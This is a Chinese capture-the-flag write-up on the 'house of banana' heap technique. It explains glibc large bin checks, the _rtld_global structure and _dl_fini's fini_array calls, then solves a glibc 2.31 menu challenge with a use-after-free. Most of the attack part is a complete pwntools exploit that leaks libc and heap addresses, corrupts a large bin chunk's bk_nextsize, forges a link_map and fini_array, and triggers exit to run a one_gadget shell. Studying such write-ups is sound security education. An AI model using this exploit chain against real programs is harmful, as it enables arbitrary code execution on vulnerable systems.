在glibc2.28之后更新了关于unsorted bin的bk指针的检查,导致我们不能在用unsortedbin attack来实现任意地址写一个较大值了
/* remove from unsorted list */ **if** (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3");
此时我们能够利用的还有large bin attack,例如house of storm,但是随着glibc版本的提高,更新了许多对于largebin的检查
if (__glibc_unlikely (size <= 2 * SIZE_SZ) || __glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): invalid size (unsorted)"); if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ) || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) malloc_printerr ("malloc(): invalid next size (unsorted)"); if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); if (__glibc_unlikely (bck->fd != victim) || __glibc_unlikely (victim->fd != unsorted_chunks (av))) malloc_printerr ("malloc(): unsorted double linked list corrupted"); if (__glibc_unlikely (prev_inuse (next))) malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
导致了之前的一些largebin attack的手法失效了
在glibc2.32及以上,只能通过这个分支使用largebin attack
首先是 largebin attack
在高版本只能从下面这个分支利用:
/* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { //...... } //...... }
这种利用方法要求双链表中至少存在一个largebin chunk并且新链入的largebin chunk必须比目前在largebin中最小的chunk还小,此时将新链入的largebin chunk的bk_nextsize指针修改为目标地址就可已实现一次任意地址写堆地址。
在该分支利用largebin attack,只是完成往任意地址写一个堆地址的作用,因为在这里bck->bk
才是我们的large bin,因此我们能够控制的也就是这个分支中的fwd->fd->bk_nextsize
,而完成写的操作是在另一个分支的fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
这句中,即可以往任意地址写上这个unsorted bin chunk堆的地址。而以前旧版large bin attack是可以往任意的两个地址写两个堆地址。
1.glibc2.23——至今
2.程序能实现若干次large bin attack
3.程序能够调用exit结束
程序通过exit退出时,会调用一个名叫rtld_global的结构体中的一系列函数来进行诸如恢复寄存器,清除缓冲区等操作。
源码如下
struct rtld_global { #endif /* Don't change the order of the following elements. 'dl_loaded' must remain the first element. Forever. */ /* Non-shared code has no support for multiple namespaces. */ #ifdef SHARED # define DL_NNS 16 #else # define DL_NNS 1 #endif EXTERN struct link_namespaces { /* A pointer to the map for the main map. */ struct link_map *_ns_loaded; /* Number of object in the _dl_loaded list. */ unsigned int _ns_nloaded; /* Direct pointer to the searchlist of the main object. */ struct r_scope_elem *_ns_main_searchlist; /* This is zero at program start to signal that the global scope map is allocated by rtld. Later it keeps the size of the map. It might be reset if in _dl_close if the last global object is removed. */ unsigned int _ns_global_scope_alloc; /* During dlopen, this is the number of objects that still need to be added to the global scope map. It has to be taken into account when resizing the map, for future map additions after recursive dlopen calls from ELF constructors. */ unsigned int _ns_global_scope_pending_adds; /* Once libc.so has been loaded into the namespace, this points to its link map. */ struct link_map *libc_map; /* Search table for unique objects. */ struct unique_sym_table { __rtld_lock_define_recursive (, lock) struct unique_sym { uint32_t hashval; const char *name; const ElfW(Sym) *sym; const struct link_map *map; } *entries; size_t size; size_t n_elements; void (*free) (void *); } _ns_unique_sym_table; /* Keep track of changes to each namespace' list. */ struct r_debug _ns_debug; } _dl_ns[DL_NNS]; /* One higher than index of last used namespace. */ EXTERN size_t _dl_nns; ................................................................................. };
pwndbg> p _rtld_global $4 = { _dl_ns = {{ _ns_loaded = 0x7ffff7ffe2e0, _ns_nloaded = 4, _ns_main_searchlist = 0x7ffff7ffe5b8, _ns_global_scope_alloc = 0, _ns_global_scope_pending_adds = 0, libc_map = 0x7ffff7fbf160, _ns_unique_sym_table = { lock = { mutex = { __data = { __lock = 0, __count = 0, __owner = 0, __nusers = 0, __kind = 1, __spins = 0, __elision = 0, __list = { __prev = 0x0, __next = 0x0 } }, __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>, __align = 0 } }, entries = 0x0, size = 0, n_elements = 0, free = 0x0 }, _ns_debug = { base = { r_version = 0, r_map = 0x0, r_brk = 0, r_state = RT_CONSISTENT, r_ldbase = 0 }, r_next = 0x0 } }, { _ns_loaded = 0x0, _ns_nloaded = 0, _ns_main_searchlist = 0x0, _ns_global_scope_alloc = 0, _ns_global_scope_pending_adds = 0, libc_map = 0x0, _ns_unique_sym_table = { lock = { mutex = { __data = { __lock = 0, __count = 0, __owner = 0, __nusers = 0, __kind = 0, __spins = 0, __elision = 0, __list = { __prev = 0x0, __next = 0x0 } }, __size = '\000' <repeats 39 times>, __align = 0 } }, entries = 0x0, size = 0, n_elements = 0, free = 0x0 }, _ns_debug = { base = { r_version = 0, r_map = 0x0, r_brk = 0, r_state = RT_CONSISTENT, r_ldbase = 0 }, r_next = 0x0 } } <repeats 15 times>}, _dl_nns = 1, _dl_load_lock = { mutex = { __data = { __lock = 0, __count = 0, __owner = 0, __nusers = 0, __kind = 1, __spins = 0, __elision = 0, __list = { __prev = 0x0, __next = 0x0 } }, __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>, __align = 0 } }, _dl_load_write_lock = { mutex = { __data = { __lock = 0, __count = 0, __owner = 0, __nusers = 0, __kind = 1, __spins = 0, __elision = 0, __list = { __prev = 0x0, __next = 0x0 } }, __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>, __align = 0 } }, _dl_load_tls_lock = { mutex = { __data = { __lock = 0, __count = 0, __owner = 0, __nusers = 0, __kind = 1, __spins = 0, __elision = 0, __list = { __prev = 0x0, __next = 0x0 } }, __size = '\000' <repeats 16 times>, "\001", '\000' <repeats 22 times>, __align = 0 } }, _dl_load_adds = 4, _dl_initfirst = 0x0, _dl_profile_map = 0x0, _dl_num_relocations = 90, _dl_num_cache_relocations = 7, _dl_all_dirs = 0x7ffff7fbf000, _dl_rtld_map = { l_addr = 140737353904128, l_name = 0x555555554318 "/lib64/ld-linux-x86-64.so.2", l_ld = 0x7ffff7ffce20, l_next = 0x0, l_prev = 0x7ffff7fbf160, l_real = 0x7ffff7ffdad0 <_rtld_global+2736>, l_ns = 0, l_libname = 0x7ffff7ffe280 <_dl_rtld_libname>, l_info = {0x0, 0x0, 0x7ffff7ffcea0, 0x7ffff7ffce90, 0x7ffff7ffce30, 0x7ffff7ffce50, 0x7ffff7ffce60, 0x7ffff7ffced0, 0x7ffff7ffcee0, 0x7ffff7ffcef0, 0x7ffff7ffce70, 0x7ffff7ffce80, 0x0, 0x0, 0x7ffff7ffce20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7ffceb0, 0x0, 0x0, 0x7ffff7ffcec0, 0x0 <repeats 11 times>, 0x7ffff7ffcf40, 0x7ffff7ffcf30, 0x7ffff7ffcf50, 0x0, 0x0, 0x7ffff7ffcf10, 0x7ffff7ffcf00, 0x0 <repeats 11 times>, 0x7ffff7ffcf20, 0x0 <repeats 25 times>, 0x7ffff7ffce40}, l_phdr = 0x7ffff7fc7040, l_entry = 0, l_phnum = 11, l_ldnum = 0, l_searchlist = { r_list = 0x0, r_nlist = 0 }, l_symbolic_searchlist = { r_list = 0x0, r_nlist = 0 }, l_loader = 0x0, l_versions = 0x7ffff7fbfba0, l_nversions = 8, l_nbuckets = 37, l_gnu_bitmask_idxbits = 3, l_gnu_shift = 8, l_gnu_bitmask = 0x7ffff7fc7440, { l_gnu_buckets = 0x7ffff7fc7460, l_chain = 0x7ffff7fc7460 }, { l_gnu_chain_zero = 0x7ffff7fc74f0, l_buckets = 0x7ffff7fc74f0 }, l_direct_opencount = 0, l_type = lt_library, l_dt_relr_ref = 0, l_relocated = 1, l_init_called = 1, l_global = 1, l_reserved = 0, l_main_map = 0, l_visited = 1, l_map_used = 0, l_map_done = 0, l_phdr_allocated = 0, l_soname_added = 0, l_faked = 0, l_need_tls_init = 0, l_auditing = 0, l_audit_any_plt = 0, l_removed = 0, l_contiguous = 0, l_free_initfini = 0, l_ld_readonly = 0, l_find_object_processed = 0, l_nodelete_active = false, l_nodelete_pending = false, l_property = lc_property_unknown, l_x86_feature_1_and = 0, l_x86_isa_1_needed = 0, l_1_needed = 0, l_rpath_dirs = { dirs = 0x0, malloced = 0 }, l_reloc_result = 0x0, l_versyms = 0x7ffff7fc7c12, l_origin = 0x0, l_map_start = 140737353904128, l_map_end = 140737354130136, l_text_end = 140737354073189, l_scope_mem = {0x0, 0x0, 0x0, 0x0}, l_scope_max = 0, l_scope = 0x0, l_local_scope = {0x0, 0x0}, l_file_id = { dev = 0, ino = 0 }, l_runpath_dirs = { dirs = 0x0, malloced = 0 }, l_initfini = 0x0, l_reldeps = 0x0, l_reldepsmax = 0, l_used = 1, l_feature_1 = 0, l_flags_1 = 0, l_flags = 0, l_idx = 0, l_mach = { plt = 0, gotplt = 0, tlsdesc_table = 0x0 }, l_lookup_cache = { sym = 0x7ffff7fc78d8, type_class = 1, value = 0x7ffff7fbf160, ret = 0x7ffff7c0d6f0 }, l_tls_initimage = 0x0, l_tls_initimage_size = 0, l_tls_blocksize = 0, l_tls_align = 0, l_tls_firstbyte_offset = 0, l_tls_offset = 0, l_tls_modid = 0, l_tls_dtor_count = 0, l_relro_addr = 215520, l_relro_size = 5664, l_serial = 0 }, _dl_rtld_auditstate = {{ cookie = 0, bindflags = 0 } <repeats 16 times>}, _dl_x86_feature_1 = 0, _dl_x86_feature_control = { ibt = cet_elf_property, shstk = cet_elf_property }, _dl_stack_flags = 6, _dl_tls_dtv_gaps = false, _dl_tls_max_dtv_idx = 1, _dl_tls_dtv_slotinfo_list = 0x7ffff7fbfc60, _dl_tls_static_nelem = 1, _dl_tls_static_used = 144, _dl_tls_static_optional = 512, _dl_initial_dtv = 0x7ffff7fad0e0, _dl_tls_generation = 1, _dl_scope_free_list = 0x0, _dl_stack_used = { next = 0x7ffff7ffe0c0 <_rtld_global+4256>, prev = 0x7ffff7ffe0c0 <_rtld_global+4256> }, _dl_stack_user = { next = 0x7ffff7faca00, prev = 0x7ffff7faca00 }, _dl_stack_cache = { next = 0x7ffff7ffe0e0 <_rtld_global+4288>, prev = 0x7ffff7ffe0e0 <_rtld_global+4288> }, _dl_stack_cache_actsize = 0, _dl_in_flight_stack = 0, _dl_stack_cache_lock = 0 }
我们看到里面有多个_dl_ns
结构体,调试发现,该结构体存储着的实际就是elf各段的符号结构体
当调用到_dl_fini函数时,会执行每个 so
中注册的 fini 函数:
for (i = 0; i < nmaps; ++i) { struct link_map *l = maps[i]; if (l->l_init_called) { /* Make sure nothing happens if we are called twice. */ l->l_init_called = 0; /* Is there a destructor function? */ if (l->l_info[DT_FINI_ARRAY] != NULL || (ELF_INITFINI && l->l_info[DT_FINI] != NULL)) { /* When debugging print a message first. */ if (__builtin_expect (GLRO(dl_debug_mask) & DL_DEBUG_IMPCALLS, 0)) _dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",DSO_FILENAME (l->l_name), ns); /* First see whether an array is given. */ if (l->l_info[DT_FINI_ARRAY] != NULL) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val sizeof (ElfW(Addr))); while (i-- > 0) ((fini_t) array[i]) (); } /* Next try the old-style destructor. */ if (ELF_INITFINI && l->l_info[DT_FINI] != NULL) DL_CALL_DT_FINI (l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr); }
其中主要是fini_array段的动态链接结构体指针,该结构体实际在在_dl_fini中被使用
if (l->l_info[DT_FINI_ARRAY] != NULL) { ElfW(Addr) *array = (ElfW(Addr) *) (l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr); unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr))); while (i-- > 0) ((fini_t) array[i]) (); }
通过以上的源码分析我们不难发现,只要伪造rtld_global结构体就可以使得array指向我们可控的数据区,从而伪造好一系列函数,进而劫持程序的流。house of banana便是利用large bin attack往rtld_global写入堆的地址,并事先在堆里伪造好rtld_global结构体,这样程序exit或者正常退出main函数时,便会执行到伪造的函数,此时若我们将函数伪造成one_gadget或者system则可以get shell。
利用的思路有:
glibc2.31(偷个懒,版本低一点不用考虑safe-linking),保护全开,四个功能齐全的菜单题
int __cdecl add() { unsigned int size; // [rsp+8h] [rbp-38h] int index; // [rsp+Ch] [rbp-34h] __int64 *ptr; // [rsp+10h] [rbp-30h] char buf[4]; // [rsp+1Ch] [rbp-24h] BYREF char idx[24]; // [rsp+20h] [rbp-20h] BYREF unsigned __int64 v6; // [rsp+38h] [rbp-8h] v6 = __readfsqword(0x28u); puts("How much?"); read(0, buf, 5uLL); size = atoi(buf); if ( size > 0x550 || size <= 0x41F ) { puts("size error!"); exit(0); } ptr = (__int64 *)malloc(size); puts("Which?"); read(0, idx, 8uLL); index = atoi(idx); pwn_size[index] = size; pwn_ptr[index] = (__int64)ptr; puts("Content:"); read(0, (void *)pwn_ptr[index], size); return puts("Okk"); }
int __cdecl delete() { unsigned int index; // [rsp+Ch] [rbp-14h] char v3[5]; // [rsp+13h] [rbp-Dh] BYREF unsigned __int64 var8; // [rsp+18h] [rbp-8h] var8 = __readfsqword(0x28u); puts("Which one?"); read(0, v3, 5uLL); index = atoi(v3); if ( index <= 7 && pwn_ptr[index] ) free((void *)pwn_ptr[index]); else puts("Invalid idx"); return puts("Delete OK!"); }
int __cdecl show() { unsigned int v0; // [rsp+Ch] [rbp-24h] char buf[16]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Which one?"); read(0, buf, 0x10uLL); v0 = atoi(buf); if ( v0 > 7 ) return 0; if ( !pwn_ptr[v0] ) return puts("It is empty!"); write(1, (const void *)pwn_ptr[v0], 8uLL); return puts("Show OK!"); }
int __cdecl edit() { unsigned int v1; // [rsp+Ch] [rbp-24h] char buf[16]; // [rsp+10h] [rbp-20h] BYREF unsigned __int64 v3; // [rsp+28h] [rbp-8h] v3 = __readfsqword(0x28u); puts("Which one?"); read(0, buf, 0x10uLL); v1 = atoi(buf); if ( v1 > 7 ) return 0; if ( !pwn_ptr[v1] ) return puts("Empty!"); puts("Content:"); read(0, pwn_ptr[v1], pwn_size[v1]); return puts("Edit OK!"); }
通过反编译的代码我们可知此题能申请的chunk大小区间在0x41f--->0x550之间,即此题的chunk都为largebin大小的chunk
在delete中有UAF漏洞。
那么我们便可以想到利用largebin attack进行house of banana攻击
既然能分配的chunk大于0x41f,又有show功能,所以第一步先泄露libc
add(0,0x500,'aaa') add(1,0x500,'aaa') delete(0) show(0) libc_base = libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-96-0x10-libc.sym['__malloc_hook'] print("libc = "+hex(libc_base)) IO_list_all=libc.sym['_IO_list_all']+libc_base free_hook=libc.sym['__free_hook']+libc_base rtld_global=libc_base+0x237060 next_node=rtld_global-0x45048
由于largebin attack需要知道heap地址,所以我们还需要通过UAF修改chunk size使chunk进入tcachebin来泄露heap基地址
add(2,0x420,'bbbb') add(3,0x420,'cccc') add(4,0x420,'aaaa') edit(0,'\x00'*0x420+p64(0)+p64(0x41)) edit(1,'\x00'*0x340+p64(0)+p64(0x41)) delete(3) delete(4) show(4) heap_addr=u64(p.recv(6)[-6:].ljust(8,'\x00'))-0x6d0 print('heap_addr = '+hex(heap_addr))
然后就是进行堆布局进行largebin attack
add(5,0x450,'bbbb') add(6,0x450,'bbbb') add(7,0x440,'bbbb') add(8,0x440,'bbbb') delete(5) add(9,0x500,'bbbb')
首先delete后add更大的chunk触发遍历使chunk5进入largebin 中
add chunk9前
add chunk9后
edit(5,p64(libc_base+0x1ecfe0)*2+p64(0)+p64(next_node-0x20))#bk_nextsize-->next_node-0x20
然后将该largebin chunk的bk_nextsize改为需要伪造的位置的地址
delete(7) add(10,0x500,'bbbb')
接着再free一个堆块,同时add一个比bin中所有chunk都大的chunk,触发largebin attack
成功!
fake_addr=heap_addr+0x17e0 pl = p64(0)*3 + p64(fake_addr) pl = pl.ljust(0x38,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(og) pl = pl.ljust(0x100,b'\x00')+p64(fake_addr+0x40) pl = pl.ljust(0x110,b'\x00')+p64(fake_addr+0x48) pl = pl.ljust(0x31c-0x10,b'\x00')+p64(0x1c) #0x314 edit(7,pl)
接下来就是在堆块上伪造一个fini_array结构体,把og填进去
然后触发exit来调用伪造结构体中的og即可getshell
from pwn import * context.os = 'linux' context.log_level = "debug" s = lambda data :p.send(str(data)) sa = lambda delim,data :p.sendafter(str(delim), str(data)) sl = lambda data :p.sendline(str(data)) sla = lambda delim,data :p.sendlineafter(str(delim), str(data)) r = lambda num :p.recv(num) ru = lambda delims, drop=True :p.recvuntil(delims, drop) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr)) l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00")) context.terminal = ['gnome-terminal','-x','sh','-c'] context.arch = 'amd64' p=process('./pwn') #p=process(['ld.so.6',"./pwn"],env={"LD_PRELOAD":'./libc.so.6'}) elf = ELF('./pwn') #libc=ELF('./libc-2.31.so') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') def dbg(): gdb.attach(p) pause() def add(idx,size,content): sla('>> ','1') sla('How much?\n',size) sla('Which?\n',idx) sla('Content:\n',content) def delete(idx): sla('>> ','2') sla('Which one?\n',idx) def show(idx): sla('>> ','3') sla('Which one?\n',idx) def edit(idx,content): sla('>> ','4') sla('Which one?\n',idx) sla('Content:\n',content) add(0,0x500,'aaaa') add(1,0x500,'aaaa') delete(0) show(0) libc_base=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook'] print('libc_base = '+hex(libc_base)) IO_list_all=libc.sym['_IO_list_all']+libc_base free_hook=libc.sym['__free_hook']+libc_base rtld_global=libc_base+0x237060 next_node=rtld_global-0x45048 delete(1) add(2,0x420,'bbbb') add(3,0x420,'bbbb') add(4,0x420,'bbbb') edit(0,'\x00'*0x420+p64(0)+p64(0x41)) edit(1,'\x00'*0x340+p64(0)+p64(0x41)) delete(3) delete(4) show(4) heap_addr=u64(p.recv(6)[-6:].ljust(8,'\x00'))-0x6d0 print('heap_addr = '+hex(heap_addr)) add(5,0x450,'bbbb') add(6,0x450,'bbbb') add(7,0x440,'bbbb') add(8,0x440,'bbbb') delete(5) #dbg() add(9,0x500,'bbbb') #dbg() edit(5,p64(libc_base+0x1ecfe0)*2+p64(0)+p64(next_node-0x20)) #dbg() delete(7) add(10,0x500,'bbbb') #dbg() ogg=[0xe3afe,0xe3b01,0xe3b04] og=libc_base+ogg[0] fake_addr=heap_addr+0x17e0 pl = p64(0)*3 + p64(fake_addr) pl = pl.ljust(0x38,b'\x00')+p64(fake_addr+0x58)+p64(8)+p64(og) pl = pl.ljust(0x100,b'\x00')+p64(fake_addr+0x40) pl = pl.ljust(0x110,b'\x00')+p64(fake_addr+0x48) pl = pl.ljust(0x31c-0x10,b'\x00')+p64(0x1c) #0x314 edit(7,pl) print('next_code = '+hex(next_node)) #dbg() sla('>> ','1') sla('How much?\n',str(0x10)) itr()